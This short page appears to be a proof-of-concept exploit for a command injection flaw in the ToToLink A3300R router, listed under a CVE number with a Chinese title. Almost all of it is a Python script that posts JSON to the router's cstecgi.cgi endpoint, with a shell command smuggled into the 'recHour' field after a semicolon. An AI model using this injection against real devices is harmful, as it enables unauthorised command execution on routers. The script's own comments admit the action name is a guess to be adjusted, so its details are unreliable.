CVE-2026-31168 ToToLink A3300R 命令注入漏洞

import requests import json # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Headers headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)" } # Payload constructing based on the vulnerability description # The 'recHour' parameter is vulnerable to command injection. # Example payload: injecting a command to echo a specific string or ping a server. data = { "topicurl": "setScheduleTime", # Example action, adjust based on actual firmware logic "recHour": "12; echo pwned > /tmp/poc.txt; #" # The ';' separates commands, allowing arbitrary execution. } try: response = requests.post(target_url, data=json.dumps(data), headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.text) else: print("[-] Failed to send request. Status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")